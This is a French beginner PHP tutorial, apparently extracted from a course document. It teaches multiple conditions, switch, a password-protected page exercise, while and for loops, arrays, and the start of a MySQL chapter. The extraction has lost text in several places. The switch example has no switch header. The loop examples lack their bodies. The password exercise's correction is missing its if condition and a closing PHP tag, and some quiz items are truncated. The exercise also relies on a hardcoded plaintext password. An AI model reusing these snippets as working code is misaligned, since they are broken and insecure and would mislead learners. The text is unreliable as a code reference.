Vous devez vous dire : "Rhalala, qu'est-ce qu'il va encore nous sortir ce vieux tordu ?"
Bah, on peut toujours faire plus compliqué, vous devriez commencer à avoir l'habitude
Je pouvais difficilement passer à côté des conditions multiples, car elles sont très pratiques. Allez, un dernier petit
effort et on a bientôt fini
Ce qu'on va essayer de faire, c'est de donner plusieurs conditions à la fois. Pour cela, on aura besoin de nouveaux
mots-clés. Voici les principaux à connaître :
Le symbole équivalent pour OR est consitué de 2 barres verticales. Pour taper une barre verticale, appuyez sur
la touche "Alt Gr" et "6" en même temps (clavier français), ou "Alt Gr" et "&" (clavier belge).
Bah oui faut pas oublier que selon le pays le clavier change
La première colonne contient le mot-clé en anglais, la troisième son équivalent en symbole. Les deux fonctionnent
aussi bien, mais je vous recommande d'utiliser le mot-clé de préférence, c'est plus "facile" à lire (j'espère que vous
connaissez un peu l'anglais quand même ) Servez-vous de ces mots-clés pour mettre plusieurs conditions entre les
parenthèses. Voici un premier exemple :
Code : PHP
<?php
if ($age <= 12 AND $sexe == "garçon")
{
echo "Bienvenue sur le site de Captain Mégakill !";
}
elseif ($age <= 12 AND $sexe == "fille")
{
echo "C'est pas un site pour les filles ici, retourne jouer à la
Barbie !";
}
?>
C'est tout simple en fait et ça se comprend très bien : si l'âge est inférieur ou égal à 12 ans et que c'est un garçon, on
Bon allez, un dernier exemple avec OR pour que vous l'ayez vu au moins une fois, et on arrête là
Code : PHP
<?php
if ($sexe == "fille" OR $sexe == "garçon")
{
echo "Salut Terrien !";
}
else
{
echo "Euh, si t'es ni une fille ni un garçon, t'es quoi alors ?";
}
?>
Si vous regardez bien le dernier code source (avec $autorisation_entrer), vous trouvez pas qu'il serait plus adapté
d'utiliser des booléens ?
On a parlé des booléens dans le chapitre sur les variables. Vous vous souvenez ?
Ce sont ces variables qui valent soit true (vrai) soit false (faux). Eh bien, les booléens sont particulièrement utiles avec
les conditions ! Voici comment on teste une variable booléenne :
Code : PHP
<?php
if ($autorisation_entrer == true)
{
echo "Bienvenue petit Zér0 :o)";
}
elseif ($autorisation_entrer == false)
{
echo "T'as pas le droit d'entrer !";
}
?>
Voilà, jusque-là rien d'extraordinaire. Vous avez vu que je n'ai pas mis de guillemets pour true et false (comme je vous
l'ai dit dans le chapitre sur les variables).
Mais un des avantages des booléens, c'est qu'ils sont particulièrement adaptés aux conditions.
Pourquoi ? Parce qu'en fait vous n'êtes pas obligés d'ajouter le == true. Quand vous travaillez sur une variable
booléenne, PHP comprend très bien ce que vous avez voulu dire :
Code : PHP
<?php
if ($autorisation_entrer)
{
echo "Bienvenue petit Zér0 :o)";
}
else
{
echo "T'as pas le droit d'entrer !";
}
?>
PHP comprend qu'il faut qu'il vérifie si $autorisation_entrer vaut true. Avantages :
Oui mais ta méthode "courte" ne marche pas si on veut vérifier si le booléen vaut faux. Comment on fait avec
la méthode courte hein ?
Il y a un symbole qui permet de vérifier juste si la variable vaut false : le point d'exclamation !. On écrit : if (!
$autorisation_entrer)...
C'est une autre façon de faire. Si vous préférez mettre if ($autorisation_entrer == false) c'est tout aussi bien, mais moi
je trouve que c'est plus lisible d'utiliser la méthode "courte"
L'astuce bonus
Code : PHP
<?php
if ($variable == 23)
{
echo "<strong>Bravo !</strong> Vous avez trouvé le nombre mystère
!";
}
?>
Code : PHP
<?php
if ($variable == 23)
{
?>
<strong>Bravo !</strong> Vous avez trouvé le nombre mystère !
<?php
}
?>
Comme vous le voyez, dans la seconde colonne on n'a pas utilisé de echo. En effet, il vous suffit d'ouvrir l'accolade ({),
puis de fermer la balise php (?>), et vous pouvez mettre tout le texte à afficher que vous voulez en HTML !
Rudement pratique quand il y a de grosses quantités de texte à afficher, et aussi pour éviter d'avoir à se prendre la
tête avec les backslash devant les guillemets (").
Il vous faudra toutefois penser à refermer l'accolade après (à l'intérieur d'une balise PHP bien entendu).
Et après ça, ma foi, il n'y a rien de particulier à savoir. Vous allez rencontrer des conditions dans la quasi-totalité des
exemples que je vous donnerai par la suite.
Vous ne devriez pas avoir de problèmes normalement pour utiliser des conditions, il n'y a rien de bien difficile.
Contentez-vous de reprendre le schéma que je vous ai donné pour la structure If... Else, et de l'appliquer à votre cas.
Nous aurons d'ailleurs bientôt l'occasion de pratiquer un peu, et vous verrez que les conditions sont souvent
indispensables.
Mais alors pourquoi tu viens nous compliquer la vie avec encore un nouveau truc ?
Pour vous faire comprendre l'intérêt de Switch, je vais vous donner un exemple un peu lourd avec les if et elseif que
vous venez d'apprendre :
Code : PHP
<?php
if ($note == 0)
{
echo "Tu es vraiment un gros Zér0 !!!";
}
elseif ($note == 5)
{
echo "Tu es très mauvais";
}
elseif ($note == 7)
{
echo "Tu es mauvais";
}
else
{
echo "Désolé, je n'ai pas de message à afficher pour cette note";
}
?>
Je ne peux pas vous le cacher, cet exemple est tiré du script PHP que j'ai écrit pour les Q.C.M. en fin de chapitre (bon
c'est un peu simplifié bien entendu ).
Comme vous le voyez, c'est lourd, long, et répétitif. Dans ce cas, on peut utiliser une autre structure plus souple :
c'est Switch.
Voici le même exemple avec Switch (le résultat est le même, mais le code est plus adapté) :
Code : PHP
<?php
$note = 10;
case 12:
echo "Tu es assez bon";
break;
case 16:
echo "Tu te débrouilles très bien !";
break;
case 20:
echo "Excellent travail, c'est parfait !";
break;
default:
echo "Désolé, je n'ai pas de message à afficher pour cette note";
}
?>
Essayer !
Tout d'abord, il y a beaucoup moins d'accolades (elles marquent seulement le début et la fin du switch).
"case" signifie "cas". Dans le switch, on indique au début sur quelle variable on travaille (ici $note). On dit à PHP : Je
vais analyser la valeur de $note. Après, on utilise des "case" pour analyser chaque cas (case 0, case 10 etc etc...). Cela
signifie : Dans le cas où la valeur est 0... Dans le cas où la valeur est 10...
Avantage : on n'a plus besoin de mettre le double égal ! Défaut : ça ne marche pas avec les autres symboles (< > <= >=
!=). En clair, le switch ne peut tester que l'égalité.
Le mot-clé "default" à la fin est un peu l'équivalent du "else". C'est le message qui s'affiche par défaut quelle
que soit la valeur de la variable.
Il y a cependant une chose importante à savoir : supposons dans notre exemple que la note soit de 10. PHP va lire :
case 0 ? Non. Je saute. case 5 ? Non plus. Je saute. case 7 ? Non plus. Je saute. case 10 ? Oui, j'exécute les
instructions. Mais contrairement aux elseif, PHP ne s'arrête pas là et continue à lire les instructions des case qui
suivent ! case 12, case 16 etc...
Pour empêcher cela, utilisez l'instruction break;. L'instruction "break" demande à PHP de sortir du switch. Dès que PHP
tombe sur break, il sort des accolades et donc il ne lit pas les "case" qui suivent. En pratique, on utilise très souvent un
break car sinon PHP lit des instructions qui suivent et qui ne conviennent pas.
Essayez d'enlever les break dans le code précédent, vous allez comprendre pourquoi ils sont indispensables !
C'est surtout un problème de présentation et de clarté. Pour une condition simple et courte, on utilise le If, et quand
on a une série de conditions à analyser, on préfère utiliser Switch pour rendre le code plus clair
Q.C.M.
if
else
elseif
~=
|=
!=
<?php
$resultat = 25 - 10;
if ($resultat < 15)
{
echo "Perdu";
}
else
{
echo "Gagné";
}
?>
Perdu
Gagné
Rien du tout
<?php
if ($texte != "Menu")
{
echo "Nuit";
}
elseif ($texte == "Menu")
{
echo "Soir";
}
else
{
echo "Jour";
}
?>
Oui
Non
<?php
$longueur = 145;
$largeur = 73;
Perroquet
Serpent
Renard
Qu'affiche ce Switch ?
Code : PHP
<?php
$pays = "Espagne";
switch ($pays)
{
case "France":
echo "Salut";
break;
case "Royaume-Uni":
echo "Hello";
break;
case "Espagne":
echo "Hola";
break;
}
?>
Salut
Hello
Hola
Correction !
Vous êtes en train d'assimiler sans le savoir les fondements de la programmation PHP qui détermineront avec quel
"style" vous allez coder par la suite.
En effet, on peut parler de "style" de programmation car chaque programmeur va présenter son code différemment (le
résultat est le même mais la façon de faire est parfois différente). Ici, je vous présente ma manière de faire, donc au
début vous allez avoir un peu mon style, mais rassurez-vous petit à petit vous allez vous créer le vôtre
Quoiqu'il en soit, c'est en ce moment-même que vous apprenez le plus de choses, et il ne faut surtout pas décrocher,
d'autant plus qu'on en a presque fini avec les bases !
Plus d'informations
Le but de ces TP est de vous montrer à quoi peut servir tout ce que vous venez d'apprendre. Quand vous lisez un
chapitre, vous êtes parfois dans le flou, vous vous dites "Ok, j'ai compris ce que tu veux me dire, mais je vois vraiment
pas où tu veux en venir : comment je peux faire un site web avec tout ça ?".
Maintenant, place au concret !
Et, bonne surprise, vous avez déjà le niveau pour protéger le contenu d'une page par mot de passe ! C'est ce que je
vais vous apprendre à faire dans ce chapitre.
Comme c'est votre premier TP, il est probable que vous vous plantiez lamentablement (vous voyez, je ne vous
cache rien ). Vous aurez envie de vous pendre ou de vous jeter par la fenêtre, c'est tout à fait normal.
Je connais peu de monde qui peut s'être vanté d'avoir réussi du premier coup son premier script PHP. Ne vous
découragez pas donc, essayez de suivre et de comprendre le fonctionnement de ce TP, et ça ira déjà mieux au
prochain TP
Etape 1 : prérequis
En règle générale, il faut avoir lu tous les chapitres qui précèdent le TP pour bien le comprendre. Voici la liste des
connaissances dont on a besoin pour réaliser ce TP :
Si un de ces points est un peu flou pour vous (vous avez peut-être oublié), n'hésitez pas à relire le paragraphe qui
correspond, vous en aurez besoin pour traiter convenablement le TP.
Vous remarquerez que ce TP ne nécessite pas de maîtriser des choses bien compliquées. Pour un premier TP, on fait
simple et court
Pour bien faire son script, je recommande toujours de travailler d'abord au brouillon (vous savez, avec un stylo et une
feuille de papier ). Ca peut paraître bien souvent une perte de temps, mais c'est tout à fait le contraire. Si vous
vous mettez à écrire des lignes de code au fur et à mesure, ça va être à coup sûr le bazar. Tandis que si vous prenez 5
minutes pour y réfléchir devant une feuille de papier, votre code sera mieux structuré et vous éviterez de nombreuses
erreurs (qui font perdre du temps ).
1. Au problème que vous vous posez (qu'est-ce que je veux arriver à faire ?)
2. Au schéma du code, c'est-à-dire que vous allez commencer à le découper en plusieurs morceaux, eux-mêmes
découpés en petits morceaux (c'est plus facile à avaler ).
3. Aux fonctions et aux connaissances en PHP dont vous allez avoir besoin (pour être sûr que vous les utilisez
convenablement).
4. Aux variables que vous allez utiliser, c'est-à-dire au nom que vous allez leur donner.
Et pour montrer l'exemple, nous allons suivre cette liste pour notre TP :
1. Problème posé : vous avez créé une page web qui contient des informations ultra-confidentielles (les codes
d'accès au serveur central de la NASA par exemple ), et vous voulez la protéger par mot de passe pour que
seuls vous et vos amis puissent y accéder. Sans le mot de passe, on ne doit pas pouvoir afficher la page.
2. Schéma du code : tout d'abord, on ne doit travailler que sur une seule page.
Cette page affiche au départ une zone de texte pour rentrer le mot de passe. Si le mot de passe est bon, on
affiche les informations confidentielles. Sinon, on propose à nouveau de rentrer le mot de passe (vous sentez
déjà venir les conditions, n'est-ce pas ? )
On va dessiner un schéma pour éclaircir tout ça :
Vous vous attendiez peut-être à plus compliqué... D'ailleurs vous auriez certainement fait quelque chose de plus
compliqué (pour rien). Ce que je vous présente là, c'est le code simplifié au maximum. Vous allez voir qu'il n'y a
pas besoin de faire plus que cette simple condition.
Si ça vous paraît TROP simple, attendez de voir la suite et vous allez rapidement comprendre qu'on peut faire
simple et efficace.
3. Fonctions et connaissances requises : voir les prérequis plus haut (on les a déjà énoncés).
4. Variables nécessaires : à votre avis, de combien de variables va-t-on avoir besoin ? 4 ? 5 ? 10 ?
Que nenni ! Une seule ! Une seule variable est nécessaire pour réaliser ce script !
Vous avez deviné de laquelle il s'agit ? Ca me paraît assez évident : on va avoir besoin d'une variable qui stocke
le mot de passe entré.
Bon, maintenant faut lui trouver un nom. Vous vous dites probablement que ce n'est qu'un "détail", après tout
elle peut s'appeler $supervariable, $thelostpassword, $tutrouverasjamaislemotdepasse... Dans tout les cas ça
marche aussi bien et le résultat est le même.
Oui, mais le code lui ne sera pas le même. Et s'il y a une chose à laquelle fait attention un programmeur, c'est
la qualité de son code. Il choisit judicieusement le nom de ses variables et il met des commentaires (beaucoup
de commentaires) pour qu'il puisse reprendre son travail plus tard sans être totalement noyé dans son propre
code.
Evitez à tout prix les noms ambigus de type $temp, $sr07686 etc etc... N'hésitez pas à utiliser des noms longs
mais compréhensibles. Et des noms en français tant qu'à faire (on a déjà assez de mots-clés en anglais comme
ça ).
Dans notre cas, je propose $mot_de_passe (les underscores _ remplacent les espaces). Les noms à éviter ici
seraient par exemple : $pass, $password. Certes, ils sont plus courts, mais $mot_de_passe est vraiment le plus
clair et vous vous repérerez mieux dans votre code ainsi.
Mais attention, n'oubliez pas qu'on va récupérer d'abord une variable à partir d'un formulaire.
Vous vous souvenez qu'il y avait un préfixe à mettre ? Si votre champ de texte s'appelle mot_de_passe, il y aura
donc une variable $_POST['mot_de_passe'] qui sera automatiquement créée dès que l'utilisateur aura entré un
mot de passe.
Un dernier problème : la première fois que vous chargerez la page, il faudra vérifier si la variable
$_POST['mot_de_passe'] existe sinon vous risquez d'avoir une erreur. En effet, si vous demandez à PHP si la variable
vaut "toto", mais que la variable n'existe pas, ça affichera une erreur !
La première fois que vous chargez la page, vous n'avez pas encore rempli le formulaire... Ca veut donc dire que
$_POST['mot_de_passe'] n'existe pas. Il sera alors inutile de vérifier si le mot de passe est bon ou pas, puisque
le visiteur n'a encore rien entré
Lorsque vous avez tapé votre mot de passe et cliqué sur "Envoyer", la page se recharge mais cette fois
$_POST['mot_de_passe'] existe. Dans ce cas, vous allez vérifier si cette variable est bien le bon mot de passe.
Vous afficherez la page cachée si c'est le cas.
Comment vérifier si $_POST['mot_de_passe'] existe ? Il va falloir utiliser la fonction isset de PHP qui vaudra true (vrai)
si la variable existe, ou false (faux) si elle n'existe pas.
En utilisant la méthode "courte" que je vous ai enseignée dans le chapitre précédent (à propos des booléens), ça nous
donne : if (isset($_POST['mot_de_passe']))
{
// Alors on peut vérifier si le mot de passe est bien "toto" par exemple
}
On a préparé le terrain ensemble, maintenant vous savez tout ce qu'il faut pour réaliser le script !
Vous êtes normalement capables de trouver le code à taper par vous-mêmes, et c'est ce que je vous invite à faire. Ca
ne marchera probablement pas du premier coup, mais ne vous en faites pas : ça marche jamais du premier coup !
Bon, allez un peu de sérieux, hop hop hop ! On lance WAMP, son bloc-notes (ou mieux, son Notepad++, son
Dreamweaver ou autre éditeur de texte qui colore le code PHP), et on se met à coder !
Basez-vous sur le schéma que je vous ai donné plus haut. Si vous le respectez scrupuleusement, je peux vous assurer
que ça marche.
Vous aurez besoin d'inventer un mot de passe, je vous laisse libres de choisir celui que vous voulez.
Bon code !
Etape 4 : correction
Maintenant, on corrige !
Vous ne devriez lire cette partie que si vous avez terminé votre travail (pour le comparer au mien), ou si vous êtes
complètement bloqué. Si jamais vous êtes bloqué, ne regardez pas toute la correction d'un coup. Regardez juste la
section qui vous pose problème et essayez de continuer sans la correction.
Code : PHP
<?php
// J'ai choisi le mot de passe "kangourou"
if (isset($_POST['mot_de_passe'])) // Si la variable existe
{
// On se crée une variable $mot_de_passe avec le mot de passe entré
$mot_de_passe = $_POST['mot_de_passe'];
}
else // La variable n'existe pas encore
{
$mot_de_passe = ""; // On crée une variable $mot_de_passe vide
}
<hr />
<p>
Cette page est réservée au personnel de la NASA. N'oubliez pas de la visiter régulière
La NASA vous remercie de votre visite.
</p>
</body>
</html>
<?php
}
else // le mot de passe n'est pas bon
{
// On affiche la zone de texte pour rentrer le mot de passe.
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtm
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr">
<head>
<title>Page protégée par mot de passe</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
</head>
<body>
<p>Veuillez entrer le mot de passe pour obtenir les codes d'accès au serveur central de
<form action="protection.php" method="post">
<p>
<input type="text" name="mot_de_passe" /> <input type="submit" value="Valider" />
</p>
</form>
<p>Cette page est réservée au personnel de la NASA. Si vous ne travaillez pas à la NASA
</body>
</html>
<?php
} // Fin du else
// Fin du code :)
?>
Essayer !
Ce code est simple, je ne discuterai pas longtemps dessus. Je souhaite juste préciser 2 ou 3 points sur lesquels vous
vous êtes peut-être posés des questions :
On commence d'abord par vérifier si la variable $_POST['mot_de_passe'] existe. Si c'est le cas, alors on crée une
variable $mot_de_passe qui vaudra le mot de passe que le visiteur a entré.
Si $_POST['mot_de_passe'] n'existe pas, c'est simplement que c'est la première fois que la page est chargée.
Dans ce cas, on va créer un $mot_de_passe vide (d'où les doubles guillemets)
Ne vous prenez pas la tête sur le fonctionnement de isset, sachez qu'en faisant comme ça on peut vérifier si une
variable existe ou pas, c'est tout ce qui compte.
Ensuite, on fait une condition pour vérifier si $mot_de_passe est le bon mot de passe. Ici j'ai choisi "kangourou"
pour l'exemple.
Je n'ai volontairement pas utilisé de echo. J'aurais pu, mais j'ai préféré utiliser l'astuce dont je vous ai parlé
dans le chapitre sur les conditions : il suffit de fermer la balise PHP (?>), puis de taper le code HTML à afficher.
Je pense que vous avez vu qu'il y a en fait 2 pages en 1. En dehors des balises PHP, j'ai utilisé du HTML pur.
Que se passe-t-il la première fois qu'on affiche la page ? $_POST['mot_de_passe'] est vide (il contient NULL je
vous rappelle). Donc $_POST['mot_de_passe'] n'est PAS égal à "kangourou". C'est donc ce qui suit else (sinon)
qui est exécuté en premier (et heureusement, il vaut mieux éviter d'afficher la page cachée en premier )
Ce qui est génial avec PHP, c'est que la source que l'internaute reçoit ne contient PAS la page cachée ni le mot de
passe (essayez de faire Affichage / Source pour voir ce que le client reçoit). Seul le serveur voit tout le code PHP, donc
personne ne peut trouver votre mot de passe en trichant !
Si vous avez besoin d'aide sur ce script ou un autre, je vous rappelle qu'il y a un forum PHP sur ce site, où vous pouvez
exposer tous vos problèmes
Les boucles
Plus d'informations
Normalement, si vous avez bien compris les conditions, ce devrait être un chapitre facile à avaler (et à digérer )
Sommaire du chapitre :
1. Comme d'habitude, les instructions sont d'abord exécutés dans l'ordre, de haut en bas (flèche rouge)
2. A la fin des instructions, on retourne à la première (flèche verte)
Le seul hic dans ce schéma, c'est que ça ne s'arrête jamais ! Les instructions seraient réexécutées à l'infini !
C'est pour cela que, quel que soit le type de boucle (While ou For), il faut indiquer une condition. Tant que la
condition est remplie, les instructions sont réexécutées. Dès que la condition n'est plus remplie, on sort enfin de la
boucle (ouf !).
Code : PHP
<?php
while ($continuer_boucle == "oui")
{
// instructions à exécuter dans la boucle
}
?>
"While" peut se traduire par "Tant que". Ici, on demande à PHP : TANT QUE $continuer_boucle est égal à "oui",
exécuter ces instructions :
Les instructions qui sont répétées en boucle se trouvent entre les accolades { et }. Mais bon là je vous apprends rien,
vous commencez à avoir l'habitude de voir des accolades de partout
Pour notre premier exemple, on va supposer que vous avez été punis et que vous devez recopier 100 fois "Je ne dois
pas regarder les mouches voler quand j'apprends le PHP."
Avant, il fallait prendre son mal en patience et ça prenait des heuuuures. Maintenant, avec PHP, on va faire ça en un
clin d'oeil
Regardez ce code :
Code : PHP
<?php
$nombre_de_lignes = 1;
Essayer !
La boucle pose la condition : TANT QUE $nombre_de_lignes est inférieur ou égal à 100
Dans cette boucle, il y a 2 instructions :
Le echo, qui permet d'afficher du texte en PHP. A noter qu'il y a une balise HTML <br /> à la fin : c'est pour
aller à la ligne. Vu que vous connaissez le HTML, ça n'a rien de surprenant : chaque phrase sera écrite sur une
seule ligne (et non pas à la suite, si vous enlevez le <br /> vous verrez).
Une instruction bizarre ensuite : $nombre_de_lignes++; Késako ? Regardez mon commentaire : c'est exactement
la même chose. En fait, c'est une façon plus courte d'ajouter 1 à la variable. On appelle cela l'incrémentation
(ce nom barbare signifie tout simplement que l'on a ajouté 1 à la variable ).
A chaque fois qu'on fait une boucle, la valeur de la variable augmente : 1, 2, 3, 4... 98, 99... Dès que la variable
atteint 100, on arrête la boucle. Et voilà, on a écrit 100 lignes en un clin d'oeil
Et si la punition avait été plus grosse, pas de problème ! Il suffirait de changer la condition (par exemple mettre
"TANT que c'est inférieur à 500" pour l'écrire 500 fois).
Il faut TOUJOURS s'assurer que la condition sera au moins remplie une fois. Si elle ne l'est jamais, alors la
boucle s'exécutera à l'infini !
PHP refuse normalement de travailler plus d'une quinzaine de secondes. Il s'arrêtera tout seul s'il voit que son travail
dure trop longtemps et affichera un message d'erreur.
Nous venons donc de voir comment afficher une phrase plusieurs centaines de fois sans efforts.
Mais est-ce vraiment utile ? On n'a pas besoin de faire ça sur un site web ?!
C'est vrai. Je peux difficilement vous dire à quoi ça va vraiment nous servir, mais sachez que ça sera très utile dans la
partie II de ce cours. En effet, nous serons très souvent amenés à répéter plusieurs fois des instructions et la boucle
While nous sera alors très utile !
Je vous demande juste pour le moment de pratiquer et de comprendre comment ça marche.
Code : PHP
<?php
$nombre_de_lignes = 1;
Essayer !
Voilà, c'est tout bête, et cet exemple ressemble beaucoup au précédent. La particularité là, c'est qu'on affiche à
chaque fois la valeur de $nombre_de_lignes (ça vous permet de voir que sa valeur augmente petit à petit).
Pour info, l'astuce que je vous avais donnée dans le chapitre sur les conditions marche aussi ici : vous pouvez
fermer le tag PHP ?>, écrire du texte en HTML, puis réouvrir le tag PHP <?php
Ca vous évite d'utiliser une instruction echo.
On aura l'occasion d'utiliser cette astuce de nombreuses fois dans la partie II.
For est un autre type de boucle, qui produit exactement le même résultat mais qui est adapté à un type particulier de
boucles. Dans tous les cas, vous pouvez utiliser un While, ça marche à tous les coups.
Pour ma part, je préfère toujours utiliser un While, mais je veux que vous voyiez rapidement le For pour que vous ne
soyez pas étonnés si vous en rencontrez un jour
Alors, comment ça marche un For ? Ca ressemble beaucoup au While, mais c'est la première ligne qui est un peu
particulière. Pour que vous voyiez bien la différence avec le While, je reprends exactement l'exemple précédent, mais
cette fois avec un For :
Code : PHP
<?php
for ($nombre_de_lignes = 1; $nombre_de_lignes <= 100; $nombre_de_lignes++)
{
echo "Ceci est la ligne n°$nombre_de_lignes<br />";
}
?>
Bon, vous vous en doutez, je ne vais vous expliquer que la ligne du for, le reste n'a pas changé.
Le premier sert à l'initialisation. C'est la valeur que l'on donne au départ à la variable (ici elle vaut 1).
Le second, c'est la condition. Comme pour le While, tant que la condition est remplie, la boucle est
réexécutée. Dès que la condition ne l'est plus, la boucle s'arrête.
Enfin, le troisième c'est l'incrémentation, qui vous permet d'ajouter 1 à la variable.
Comment savoir lequel prendre quand je dois choisir entre un While et un For ?
While marche à tous les coups.
For ne marche que quand on a un nombre qui s'incrémente, comme on a fait ici. Donc For est parfois plus adapté, mais
personne ne vous tuera si, comme moi, vous préférez utiliser un While tout le temps
Q.C.M.
<?php
$boucle = 10;
Que se serait-il passé dans le code précédent si on avait mis un >= au lieu du symbole > ?
Allez, on va pas faire 50 questions identiques, on finit par un truc tordu, si vous trouvez c'est que vous avez
tout compris ;o)
Combien de fois le message est-il affiché ?
Code : PHP
<?php
$message = "Je me répète là, non ?";
20 fois
80 fois
200 fois
Correction !
Vous aurez en particulier l'occasion de vous servir des boucles lorsque vous attaquerez la partie II : la base de données.
D'ailleurs, c'est dans pas longtemps, vu qu'on a presque terminé les bases du PHP
Plus d'informations
On peut faire énormément de choses avec les array, et leur utilisation n'est pas toujours très facile. En réalité, un
connaisseur en PHP sera peut-être un peu surpris de trouver ce chapitre dans "les bases du PHP".
Et pourtant, si je fais cela il y a bien une raison : en comprenant ce chapitre, vous n'aurez quasiment aucune difficulté
à comprendre la base de données (et c'est légèrement le thème de la partie II de ce cours ).
Seulement, pour ne pas trop compliquer les choses, j'ai décidé de séparer le chapitre en 2 : ici nous verrons les bases,
juste le strict nécessaire.
Dans la partie III, vous retrouverez les array, et vous apprendrez à faire plein de choses avec
Tableaux numérotés
Tableaux associatifs
Q.C.M.
Tableaux numérotés
Reprenons. Jusqu'ici vous avez travaillé avec des variables toutes simples : elles ont un nom et une valeur. Par
exemple :
Code : PHP
<?php
$prenom = "Nicole";
echo "Bonjour $prenom !"; // Cela affichera : Bonjour Nicole !
?>
Nom Valeur
$prenom Nicole
Ici, nous allons voir qu'il est possible d'enregistrer plein d'informations dans une seule variable (bien plus que "Nicole").
C'est très facile à imaginer. Regardez par exemple ce tableau, contenu de la variable $prenoms :
Numéro Valeur
0 François
1 Michel
2 Nicole
3 Véronique
4 Benoît
... ...
$prenoms est un array : c'est ce que j'appelle une variable "tableau". Elle n'a pas qu'une valeur mais plusieurs valeurs
(vous pouvez en mettre autant que vous voulez).
Dans un array, les valeurs sont rangées dans des "cases" différentes. Ici, nous travaillons sur un array numéroté.
Pour afficher "Véronique" par exemple, il ne faudra pas juste marquer $prenoms (PHP ne sait pas dans quelle case
chercher !). Il va falloir lui dire :
Code : PHP
<?php
echo $prenoms[3];
?>
Reste maintenant à voir comment créer un array. C'est un peu particulier, il faut utiliser la fonction array.
Cet exemple vous montre comment créer l'array $prenoms :
Code : PHP
<?php
// La fonction array permet de créer un array
$prenoms = array ("François", "Michel", "Nicole", "Véronique", "Benoît");
?>
L'ordre a beaucoup d'importance. Le premier élément ("François") aura le n°0, ensuite Michel le n°1 etc etc...
Et puis ma foi, c'est aussi simple que cela. Vous avez vu comment créer un array, et comment afficher le contenu d'une
case de l'array.
Je vous propose maintenant de faire un petit script pour résumer. Il doit afficher tout le contenu de notre array
$prenoms.
On va donc d'abord commencer par créer cet array comme nous venons juste le voir. Puis nous utiliserons une boucle.
On peut se servir d'un while ou d'un for (ça marche tout aussi bien). Là je trouve qu'un for est plus approprié, regardez
:
Code : PHP
<?php
// On crée notre array $prenoms
$prenoms = array ("François", "Michel", "Nicole", "Véronique", "Benoît");
Essayer !
Tableaux associatifs
Bon, alors là on va pas traîner dessus 50 ans pour rien
C'est exactement pareil que ce qu'on vient de voir, sauf qu'au lieu de repérer les "cases" par des numéros, on va
nommer ("étiqueter") ces cases.
Par exemple, supposons que je veuille, dans un seul array, enregistrer les coordonnées de quelqu'un (nom, prénom,
adresse, ville etc...). Si l'array est numéroté, comment savoir que le n°0 c'est le nom, le n°2 l'adresse ?...
C'est là que deviennent utiles les tableaux associatifs. Pour les créer, on utilisera la fonction array comme tout à
l'heure, mais on va mettre "l'étiquette" devant chaque information :
Code : PHP
<?php
// On crée notre array $coordonnees
$coordonnees = array (
"Prénom" => "François",
"Nom" => "Dupont",
"Adresse" => "3, rue du Paradis",
"Ville" => "Marseille");
?>
Note importante : il n'y a qu'une seule instruction (un seul point-virgule). J'aurais pu tout mettre sur la même
ligne, mais rien ne m'empêche de séparer ça sur plusieurs lignes pour que ça soit plus facile à lire .
Vous remarquez qu'on met une flèche (=>) pour dire "associé à". Par exemple, on dit "Ville associé à Marseille".
Eh bien c'est sensiblement pareil que tout à l'heure. On utilisera des crochets, mais on mettra souvent des apostrophes
à l'intérieur (ce n'est pas obligatoire mais je préfère vous donner une bonne habitude de suite ).
Par exemple, pour extraire la ville, on devra taper $coordonnees['Ville'].
Code : PHP
<?php
// On crée notre array associatif :
$coordonnees = array (
"Prénom" => "François",
"Nom" => "Dupont",
"Adresse" => "3, rue du Paradis",
"Ville" => "Marseille");
Essayer !
Les array associatifs seront très importants dans la partie II de ce cours. En effet, dans la base de données vous aurez
bien besoin de ce que vous venez d'apprendre !
Q.C.M.
Un tableau
-1
Qu'affiche ce code ?
Code : PHP
<?php
$prenoms = array ("François", "Michel", "Nicole", "Véronique", "Benoît");
echo $prenoms;
?>
Array
Un prénom au hasard
100 Maximum
1000 Maximum
<?php
$nombres = array (4, 6, 2, 9, -1, 7);
$resultat = ($nombres[2] * $nombres[4] + $nombres[0]) / ($nombres[1] - $nombres[0]);
?>
Une petite application pratique. On enregistre le prix de quelques objets dans un array, et on s'en sert pour
calculer le prix total des courses. Combien vaut $total ?
Code : PHP
<?php
$prix = array (
"Oeuf" => 1.5,
"Orange" => 0.5,
"Chips" => 2
);
$total = (2 * $prix['Oeuf']) + (1 * $prix['Chips']) + (4 * $prix['Orange']);
?>
Correction !
A côté, tous les prochains chapitres devraient vous paraître agréables et simples à lire
Continuez comme ça, vous êtes sur la bonne voie. Vous allez bientôt maîtriser le PHP comme des pros !
Présentation de MySQL
Plus d'informations
Nous voici enfin dans la seconde partie. Vous vous attendez à quelques "changements", non ?
Tout d'abord, il faut le dire, vous n'êtes plus de gros débutants. Vous avez certainement l'impression de ne pas être
capables de créer un site web en PHP...
Et c'est vrai, mais pourtant tout ce que vous venez d'apprendre est très important, et c'est à partir de maintenant
qu'on va vraiment pouvoir créer des scripts en PHP !
Et attention : pas des petits scripts. En fait, vous saurez faire à la fin de cette partie la plupart des scripts que vous
rencontrez sur des sites web : système de news, commentaires, forum, livre d'or et j'en passe.
Les parties suivantes, elles, vous aideront à améliorer la qualité de vos scripts et à faire des manipulations plus
avancées (c'est très intéressant, mais bon on n'en est pas encore là :-°)
Base de quoi ?
Oui je sais, encore des mots qui font peur... C'est particulièrement lourd d'ailleurs comme nom : "base de données". Ne
vous étonnez donc pas si je me permets de l'abréger par BDD (Base De Données).
Vous pourrez trouver aussi l'abrévation SGBD (Système de Gestion de Base de Données), qui est plus correcte.
Mais mon abrévation en 3 lettres est plus courte, donc je garde la mienne, na !
La base de données est un système qui enregistre des informations. Un peu comme un fichier texte ? Non, pas
vraiment. Ce qui est très important ici, c'est que ces informations sont toujours classées.
Et c'est ça qui fait que la BDD est si pratique : c'est un moyen simple de ranger des informations.
C'est un peu ce que je me disais au début... Classer certaines choses ok, mais il me semblait que je n'en aurais besoin
que très rarement.
Grave erreur ! Vous allez le voir, 99% du temps on range ses informations dans une base de données. Pour le 1%
restant, on pourra enregistrer dans un fichier, ce que nous verrons plus tard car on en a rarement besoin.
